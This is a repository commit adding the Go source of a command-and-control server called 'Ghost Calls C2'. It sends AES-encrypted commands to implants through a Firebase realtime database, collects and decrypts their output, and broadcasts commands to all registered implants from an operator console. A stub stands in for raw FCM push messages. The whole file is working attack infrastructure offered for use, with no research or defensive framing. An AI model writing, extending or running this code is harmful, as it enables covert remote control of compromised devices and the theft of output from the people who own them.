Upload files to "c2_ghost-push/cmd/server"

This commit is contained in:
2026-06-10 17:13:39 +00:00
parent dda75eb811
commit eeb7322723
+562
View File
@@ -0,0 +1,562 @@
package main
import (
"bufio"
"crypto/aes"
"crypto/cipher"
"crypto/rand"
"crypto/sha256"
"encoding/base64"
"encoding/json"
"fmt"
"io"
"log"
"net/http"
"os"
"os/signal"
"strings"
"sync"
"syscall"
"time"
)
// ─── Crypto ────────────────────────────────────────────────────────────────
func deriveKey(implantID, secret string) []byte {
h := sha256.Sum256([]byte(implantID + ":" + secret))
return h[:]
}
func encrypt(plaintext []byte, key []byte) (string, error) {
block, err := aes.NewCipher(key)
if err != nil {
return "", err
}
gcm, err := cipher.NewGCM(block)
if err != nil {
return "", err
}
nonce := make([]byte, gcm.NonceSize())
if _, err := io.ReadFull(rand.Reader, nonce); err != nil {
return "", err
}
ciphertext := gcm.Seal(nonce, nonce, plaintext, nil)
return base64.StdEncoding.EncodeToString(ciphertext), nil
}
func decrypt(cipherB64 string, key []byte) ([]byte, error) {
ciphertext, err := base64.StdEncoding.DecodeString(cipherB64)
if err != nil {
return nil, err
}
block, err := aes.NewCipher(key)
if err != nil {
return nil, err
}
gcm, err := cipher.NewGCM(block)
if err != nil {
return nil, err
}
ns := gcm.NonceSize()
if len(ciphertext) < ns {
return nil, fmt.Errorf("ciphertext too short")
}
nonce, data := ciphertext[:ns], ciphertext[ns:]
plaintext, err := gcm.Open(nil, nonce, data, nil)
if err != nil {
return nil, err
}
return plaintext, nil
}
// ─── Data Types ────────────────────────────────────────────────────────────
type Implant struct {
ID string `json:"id"`
FCMToken string `json:"fcm_token,omitempty"`
LastSeen time.Time `json:"last_seen"`
}
type Result struct {
CommandID string `json:"command_id"`
Output string `json:"output"` // encrypted base64
TS int64 `json:"ts"`
}
type CommandPayload struct {
ID string `json:"id"`
Cmd string `json:"cmd"` // encrypted base64
TS int64 `json:"ts"`
}
// ─── Server ────────────────────────────────────────────────────────────────
type Server struct {
mu sync.RWMutex
implants map[string]*Implant
results map[string][]Result
cmdCount map[string]int
firebaseURL string
secret string
httpPort int
httpClient *http.Client
}
func NewServer(firebaseURL, secret string, port int) *Server {
return &Server{
implants: make(map[string]*Implant),
results: make(map[string][]Result),
cmdCount: make(map[string]int),
firebaseURL: strings.TrimRight(firebaseURL, "/"),
secret: secret,
httpPort: port,
httpClient: &http.Client{
Timeout: 30 * time.Second,
Transport: &http.Transport{
IdleConnTimeout: 90 * time.Second,
},
},
}
}
func (s *Server) firebasePut(path string, body []byte) error {
url := fmt.Sprintf("%s/%s.json", s.firebaseURL, path)
req, err := http.NewRequest("PUT", url, strings.NewReader(string(body)))
if err != nil {
return err
}
req.Header.Set("Content-Type", "application/json")
resp, err := s.httpClient.Do(req)
if err != nil {
return err
}
defer resp.Body.Close()
if resp.StatusCode >= 300 {
b, _ := io.ReadAll(resp.Body)
return fmt.Errorf("firebase PUT %s: %s: %s", path, resp.Status, strings.TrimSpace(string(b)))
}
return nil
}
func (s *Server) firebaseDelete(path string) error {
url := fmt.Sprintf("%s/%s.json", s.firebaseURL, path)
req, err := http.NewRequest("DELETE", url, nil)
if err != nil {
return err
}
resp, err := s.httpClient.Do(req)
if err != nil {
return err
}
defer resp.Body.Close()
if resp.StatusCode >= 300 {
b, _ := io.ReadAll(resp.Body)
return fmt.Errorf("firebase DELETE %s: %s: %s", path, resp.Status, strings.TrimSpace(string(b)))
}
return nil
}
func (s *Server) firebaseGet(path string) ([]byte, error) {
url := fmt.Sprintf("%s/%s.json", s.firebaseURL, path)
req, err := http.NewRequest("GET", url, nil)
if err != nil {
return nil, err
}
resp, err := s.httpClient.Do(req)
if err != nil {
return nil, err
}
defer resp.Body.Close()
body, err := io.ReadAll(resp.Body)
if err != nil {
return nil, err
}
if resp.StatusCode >= 300 {
return nil, fmt.Errorf("firebase GET %s: %s: %s", path, resp.Status, strings.TrimSpace(string(body)))
}
return body, nil
}
// ─── Commands ──────────────────────────────────────────────────────────────
func (s *Server) SendCommand(implantID, command string) (string, error) {
s.mu.Lock()
s.cmdCount[implantID]++
cmdNum := s.cmdCount[implantID]
s.mu.Unlock()
cmdID := fmt.Sprintf("%s-%d-%d", implantID, cmdNum, time.Now().UnixMilli())
key := deriveKey(implantID, s.secret)
enc, err := encrypt([]byte(command), key)
if err != nil {
return "", fmt.Errorf("encrypt: %w", err)
}
payload := CommandPayload{
ID: cmdID,
Cmd: enc,
TS: time.Now().UnixMilli(),
}
data, err := json.Marshal(payload)
if err != nil {
return "", fmt.Errorf("marshal: %w", err)
}
path := fmt.Sprintf("commands/%s", implantID)
if err := s.firebasePut(path, data); err != nil {
return "", fmt.Errorf("firebase write: %w", err)
}
log.Printf("[+] Command %s sent to %s: %s", cmdID, implantID, command)
return cmdID, nil
}
func (s *Server) BroadcastCommand(command string) []string {
s.mu.RLock()
ids := make([]string, 0, len(s.implants))
for id := range s.implants {
ids = append(ids, id)
}
s.mu.RUnlock()
var sent []string
for _, id := range ids {
cid, err := s.SendCommand(id, command)
if err != nil {
log.Printf("[-] Broadcast to %s failed: %v", id, err)
} else {
sent = append(sent, cid)
}
}
return sent
}
func (s *Server) FetchResults(implantID string) ([]Result, error) {
data, err := s.firebaseGet(fmt.Sprintf("results/%s", implantID))
if err != nil {
return nil, err
}
// If no data or null, return empty slice
if len(data) == 0 || string(data) == "null" {
return nil, nil
}
// Results are stored as a map of commandID -> result
var rawResults map[string]json.RawMessage
if err := json.Unmarshal(data, &rawResults); err != nil {
return nil, fmt.Errorf("unmarshal results map: %w", err)
}
var results []Result
for cmdID, raw := range rawResults {
var r Result
if err := json.Unmarshal(raw, &r); err != nil {
log.Printf("[-] Skipping unparsable result %s: %v", cmdID, err)
continue
}
r.CommandID = cmdID
// Try to decrypt the output
key := deriveKey(implantID, s.secret)
dec, err := decrypt(r.Output, key)
if err != nil {
r.Output = fmt.Sprintf("[encrypted] %s", r.Output)
} else {
r.Output = string(dec)
}
results = append(results, r)
}
return results, nil
}
func (s *Server) PushRawFCM(implantID, jsonPayload string) error {
s.mu.RLock()
imp, ok := s.implants[implantID]
s.mu.RUnlock()
if !ok || imp.FCMToken == "" {
return fmt.Errorf("implant %s not registered or has no FCM token", implantID)
}
// This would use the FCM HTTP v1 API — placeholder for FCM integration
log.Printf("[!] Raw FCM push to %s (token: %s...): %s",
implantID, imp.FCMToken[:min(len(imp.FCMToken), 16)], jsonPayload)
return nil
}
// ─── HTTP API / Status ────────────────────────────────────────────────────
func (s *Server) httpStatusHandler(w http.ResponseWriter, r *http.Request) {
s.mu.RLock()
defer s.mu.RUnlock()
w.Header().Set("Content-Type", "text/plain; charset=utf-8")
fmt.Fprintf(w, "Ghost Calls C2 — Push Notification C2 Server\n")
fmt.Fprintf(w, "==============================================\n\n")
fmt.Fprintf(w, "Registered implants: %d\n\n", len(s.implants))
for _, imp := range s.implants {
fcm := "none"
if imp.FCMToken != "" {
fcm = imp.FCMToken[:min(len(imp.FCMToken), 20)] + "..."
}
fmt.Fprintf(w, " %-24s last: %s fcm: %s\n", imp.ID, imp.LastSeen.Format(time.RFC3339), fcm)
}
}
// ─── REPL ──────────────────────────────────────────────────────────────────
func (s *Server) RunREPL() {
scanner := bufio.NewScanner(os.Stdin)
fmt.Println()
fmt.Println("╔══════════════════════════════════════════════╗")
fmt.Println("║ Ghost Calls C2 — Operator Console ║")
fmt.Println("╚══════════════════════════════════════════════╝")
fmt.Println()
fmt.Println("Commands:")
fmt.Println(" register <id> [fcm_token] — Register an implant")
fmt.Println(" exec <id> <command> — Send command to implant")
fmt.Println(" broadcast <command> — Send to all implants")
fmt.Println(" list — Show registered implants")
fmt.Println(" results <id> — Show results from implant")
fmt.Println(" forget <id> — Remove implant registration")
fmt.Println(" push <id> <json> — Send raw FCM push payload")
fmt.Println(" status — Show server overview")
fmt.Println(" help — Show this help")
fmt.Println(" exit — Shut down")
fmt.Println()
for {
fmt.Print("ghost> ")
if !scanner.Scan() {
break
}
line := strings.TrimSpace(scanner.Text())
if line == "" {
continue
}
parts := strings.Fields(line)
cmd := parts[0]
switch cmd {
case "exit", "quit":
fmt.Println("Shutting down.")
return
case "help":
fmt.Println("Commands:")
fmt.Println(" register <id> [fcm_token] — Register an implant")
fmt.Println(" exec <id> <command...> — Send command to implant")
fmt.Println(" broadcast <command...> — Send to all implants")
fmt.Println(" list — Show registered implants")
fmt.Println(" results <id> — Show results from implant")
fmt.Println(" forget <id> — Remove implant registration")
fmt.Println(" push <id> <json> — Send raw FCM push payload")
fmt.Println(" status — Show server overview")
fmt.Println(" help — Show this help")
fmt.Println(" exit — Shut down")
case "register":
if len(parts) < 2 {
fmt.Println("Usage: register <id> [fcm_token]")
continue
}
id := parts[1]
token := ""
if len(parts) >= 3 {
token = parts[2]
}
s.mu.Lock()
if existing, ok := s.implants[id]; ok {
existing.LastSeen = time.Now()
if token != "" {
existing.FCMToken = token
}
fmt.Printf("[*] Updated implant %s\n", id)
} else {
s.implants[id] = &Implant{
ID: id,
FCMToken: token,
LastSeen: time.Now(),
}
fmt.Printf("[+] Registered implant %s\n", id)
}
s.mu.Unlock()
case "forget":
if len(parts) < 2 {
fmt.Println("Usage: forget <id>")
continue
}
id := parts[1]
s.mu.Lock()
if _, ok := s.implants[id]; ok {
delete(s.implants, id)
fmt.Printf("[-] Removed implant %s\n", id)
} else {
fmt.Printf("[-] Implant %s not found\n", id)
}
s.mu.Unlock()
case "list":
s.mu.RLock()
if len(s.implants) == 0 {
fmt.Println("No registered implants.")
} else {
fmt.Printf("%-24s %-40s %s\n", "ID", "FCM Token", "Last Seen")
fmt.Println(strings.Repeat("─", 90))
for _, imp := range s.implants {
fcm := "-"
if imp.FCMToken != "" {
fcm = imp.FCMToken[:min(len(imp.FCMToken), 36)] + "..."
}
fmt.Printf("%-24s %-40s %s\n", imp.ID, fcm, imp.LastSeen.Format(time.RFC3339))
}
}
s.mu.RUnlock()
case "exec":
if len(parts) < 3 {
fmt.Println("Usage: exec <id> <command...>")
continue
}
id := parts[1]
command := strings.Join(parts[2:], " ")
s.mu.RLock()
_, ok := s.implants[id]
s.mu.RUnlock()
if !ok {
fmt.Printf("[-] Implant %s not registered. Register it first.\n", id)
continue
}
cmdID, err := s.SendCommand(id, command)
if err != nil {
fmt.Printf("[-] Error: %v\n", err)
} else {
fmt.Printf("[+] Command queued: %s\n", cmdID)
}
case "broadcast":
if len(parts) < 2 {
fmt.Println("Usage: broadcast <command...>")
continue
}
command := strings.Join(parts[1:], " ")
sent := s.BroadcastCommand(command)
fmt.Printf("[+] Broadcast sent to %d implant(s)\n", len(sent))
case "results":
if len(parts) < 2 {
fmt.Println("Usage: results <id>")
continue
}
id := parts[1]
results, err := s.FetchResults(id)
if err != nil {
fmt.Printf("[-] Error fetching results: %v\n", err)
continue
}
if len(results) == 0 {
fmt.Printf("[*] No results for %s\n", id)
continue
}
fmt.Printf("Results for %s:\n", id)
for _, r := range results {
fmt.Printf(" Command: %s\n", r.CommandID)
fmt.Printf(" Time: %s\n", time.UnixMilli(r.TS).Format(time.RFC3339))
fmt.Printf(" Output:\n")
for _, line := range strings.Split(strings.TrimRight(r.Output, "\n"), "\n") {
fmt.Printf(" %s\n", line)
}
fmt.Println()
}
case "push":
if len(parts) < 3 {
fmt.Println("Usage: push <id> <json_payload>")
continue
}
id := parts[1]
payload := strings.Join(parts[2:], " ")
if err := s.PushRawFCM(id, payload); err != nil {
fmt.Printf("[-] Error: %v\n", err)
}
case "status":
s.mu.RLock()
fmt.Printf("Firebase Project: %s\n", s.firebaseURL)
fmt.Printf("HTTP Port: %d\n", s.httpPort)
fmt.Printf("Implants: %d\n", len(s.implants))
for _, imp := range s.implants {
fcm := "no"
if imp.FCMToken != "" {
fcm = "yes"
}
fmt.Printf(" %s (FCM: %s, seen: %s)\n", imp.ID, fcm, imp.LastSeen.Format(time.RFC3339))
}
s.mu.RUnlock()
default:
fmt.Printf("Unknown command: %s\nType 'help' for available commands.\n", cmd)
}
}
}
// ─── Main ──────────────────────────────────────────────────────────────────
func main() {
firebaseURL := os.Getenv("FIREBASE_URL")
secret := os.Getenv("GHOST_SECRET")
portStr := os.Getenv("GHOST_PORT")
if firebaseURL == "" {
log.Fatal("FIREBASE_URL environment variable required (e.g., https://my-project-default-rtdb.firebaseio.com)")
}
if secret == "" {
log.Fatal("GHOST_SECRET environment variable required (server-side encryption key)")
}
port := 9090
if portStr != "" {
if n, err := fmt.Sscanf(portStr, "%d", &port); err != nil || n != 1 {
log.Printf("Warning: invalid GHOST_PORT '%s', using 9090", portStr)
port = 9090
}
}
srv := NewServer(firebaseURL, secret, port)
// HTTP status endpoint
http.HandleFunc("/", srv.httpStatusHandler)
httpServer := &http.Server{
Addr: fmt.Sprintf(":%d", port),
Handler: nil,
}
go func() {
log.Printf("[*] HTTP status page listening on :%d", port)
if err := httpServer.ListenAndServe(); err != nil && err != http.ErrServerClosed {
log.Fatalf("HTTP server error: %v", err)
}
}()
// Handle shutdown
sigCh := make(chan os.Signal, 1)
signal.Notify(sigCh, syscall.SIGINT, syscall.SIGTERM)
go func() {
<-sigCh
fmt.Println("\n[*] Shutting down...")
httpServer.Close()
os.Exit(0)
}()
srv.RunREPL()
}